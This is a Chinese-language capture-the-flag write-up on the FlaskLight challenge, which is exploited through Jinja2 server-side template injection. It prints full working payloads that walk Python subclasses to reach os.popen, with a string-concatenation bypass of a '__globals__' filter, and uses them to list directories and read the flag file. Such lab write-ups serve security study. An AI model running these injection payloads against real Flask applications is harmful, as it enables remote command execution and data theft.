zoukankan      html  css  js  c++  java
  • [CSCCTF 2019 Qual]FlaskLight

        1. 进入题目可也看到有一个FlaskLight的提示,以及页面上显示你查询的和查询的结果字样。先查看源码发现提示内容:有一个get请求方式的参数search    

        2. 传递参数search并进行模板注入的测试,输入?search={{5*8}},页面输出表达式的结果,很好可以进行模板注入,回显点在You searched for下面
       


        3. 寻找执行命可以借助的类
            a. 获取变量[]所属的类名 {{[].__class__}}
            页面回显 <type 'list'>
            b. 获取list所继承的基类名 {{[].__class__.__base__}}
            页面回显 <type 'object'>
            c. 获取所有继承自object的类 {{[].__class__.__base__.__subclasses__()}}
            这里回显了很长一个列表,这里可以将这些数据放在列表中,通过list.index输出想要的类在第几位。不过需要对这传数据进行简单的处理(将<>换成"")    

             

            d. 经过查询后,可以借助的类<class 'warnings.catch_warnings'>,没有内置os模块在第59位。<class 'site._Printer'> 内含os模块 在第71位,可以借助这些类来执行命令。


        不含os模块的类warnings.catch_warnings

      进行命令执行
            a. 目录读取
            {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
            PS:由于使用['__globals__']会造成500的服务器错误信息,并且当我直接输入search=globals时页面也会500,觉得这里应该是被过滤了,所以这里采用了字符串拼接的形式['__glo'+'bals__']
            页面回显:bin boot dev etc flasklight home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
            b. 读取目录flasklight
            {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls /flasklight').read()")}}
            页面回显:app.py coomme_geeeett_youur_flek
            c. cat文件 coomme_geeeett_youur_flek 得到flag
            {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}   

             

            d. 之后又cat了一下同目录下的app.py文件,发现确实gloabls在和名单下
              


        内含os模块的类 class'site._Printer'
           a. 目录查询
            {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
            因为这里listdir同样被ban了
          b.  读取目录flasklight
            {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()}}
           c. 读取flag
            {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()}}

    a. 获取变量[]所属的类名 {{[].__class__}}
    b. 获取list所继承的基类名 {{[].__class__.__base__}}    
    c. 获取所有继承自object的类 {{[].__class__.__base__.__subclasses__()}}
    
    没有内置的os模块的类
    目录查询
    {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
    读取目录flask
    {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls /flasklight').read()")}}
    读取flag
    {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}
    

    内含os模块的类(不需要import os)
    class'site._Printer' 内含os模块 在第71位 目录查询 {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}} 本来想直接用listdir('/'),但这里listdir同样被ban了 读取目录flasklight {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()}} 读取flag {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()}
  • 相关阅读:
    金蝶k3wise 核算项目、辅助资料
    金蝶——“免、抵、退”税操作说明及帐务处理
    阿里云各Linux发行版netcore兼容性评估报告---来自大石头的测试
    金蝶KIS&K3助记码SQL数据库批量刷新
    华为交换机批量加入 Vlan 方法
    华为设备默认console密码
    SQL查询数据并插入新表
    ORACLE删除当前用户下所有的表的方法
    【转】使用Navicat for Oracle新建表空间、用户及权限赋予
    [转]spring mvc注解方式实现向导式跳转页面
  • 原文地址:https://www.cnblogs.com/ersuani/p/13896200.html
Copyright © 2011-2022 走看看